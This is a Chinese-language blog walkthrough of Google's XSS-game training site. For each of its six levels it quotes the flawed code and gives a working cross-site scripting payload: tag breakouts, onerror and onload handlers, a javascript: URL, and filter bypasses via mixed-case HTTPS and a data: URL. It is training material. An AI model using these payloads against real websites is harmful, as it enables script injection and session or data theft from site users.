Rock's blog

兴趣是最好的老师

0%

google xss-game 题目解答

0.前言

在花了一个下午和晚上之后,终于做完了这六道题目,感觉还是挺有收获的.整体感觉这六道题目比较简单,难度不高.

这是站点 : https://xss-game.appspot.com/

1.闲言少叙,书归正转.

Level 1: Hello, world of XSS

入手点:
level.py的第44行代码

  # Our search engine broke, we found no results :-(
      message = "Sorry, no results were found for <b>" + query + "</b>."
      message += " <a href='?'>Try again</a>."

思路:
直接闭合 <b> 标签,插入js代码

答案:

</b><script>alert()</script><b>

Level 2: Persistence is key

入手点:
index.html的第30行代码

html += "<blockquote>" + posts[i].message + "</blockquote";

思路:
这道题我一开始想用上道题的套路,但显然不可以。具体为什么我还不是很明白。根据题目的提示,貌似可以利用 <img> 标签的onerror属性。

答案:

<img src="***" onerror="alert()">

Level 3: That sinking feeling…

入手点:
index.html的第17行代码

html += "<img src='/static/level3/cloud" + num + ".jpg' />";

思路:
这道题乍一看没有让用户输入的地方。通过查看代码第43行,我们知道页面会调用chooseTab函数,将url中#后面的字符串做为参数传入。我们需要构造一个字符串,使img标签加载的时候执行我们的代码。

答案:

'onerror="alert()"/>

Level 4: Context matters

入手点:
timer.html的第21行代码

<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />

思路:
这道题通过构造特殊的timer变量值,使得标签中的js代码得以执行。

答案:

'),alert()//

在做题目的时候发现自己的输入被转义成了html实体,以为无法被指执行,所以想破头也没想出来。在看了答案后才知道是能够被执行的。不过我还是不知道这是为什么?

Level 5: Breaking protocol

入手点:
signup.html的第15行代码

<a href="{{ next }}">Next >></a>

思路:
通过查看代码,三个html都是很简单的页面,只有signup.html调用了next变量,并放到了 <a> 标签中,我不禁想到利用其执行js代码。再通过读level.py我了解到当页面的url参数带有”signup”时,next的值为next变量获得的参数值。那么这道题目就很简单了,我们只需要利用 <a> 标签的url来执行代码。

答案:

javascript:alert()

Level 6: Follow the rabbit

入手点:
index.html的第17~25行代码。

var scriptEl = document.createElement('script');

  // This will totally prevent us from loading evil URLs!
  if (url.match(/^https?:\/\//)) {
    setInnerText(document.getElementById("log"),
      "Sorry, cannot load a URL containing \"http\".");
    return;
  }

思路:
题目说得很清楚,利用外部js脚本执行alert()。但最大的问题是对我们给出的url做了过滤。这让我很头疼,心想难道 <script> 标签难道还有其他的属性可以利用?后来才了解到到题目只对小写的http和https过滤了,而url的协议与地址部分是不区分大小写的,也就是说我写成hTtPs://也是没问题的!

答案:

HTTPS://www.rockblog.cn/test.js

让我惊喜的是还有一种在我看来更惊艳的答案,利用了data类型的url。

解决方案如下:

data:text,alert()

在下实在是佩服!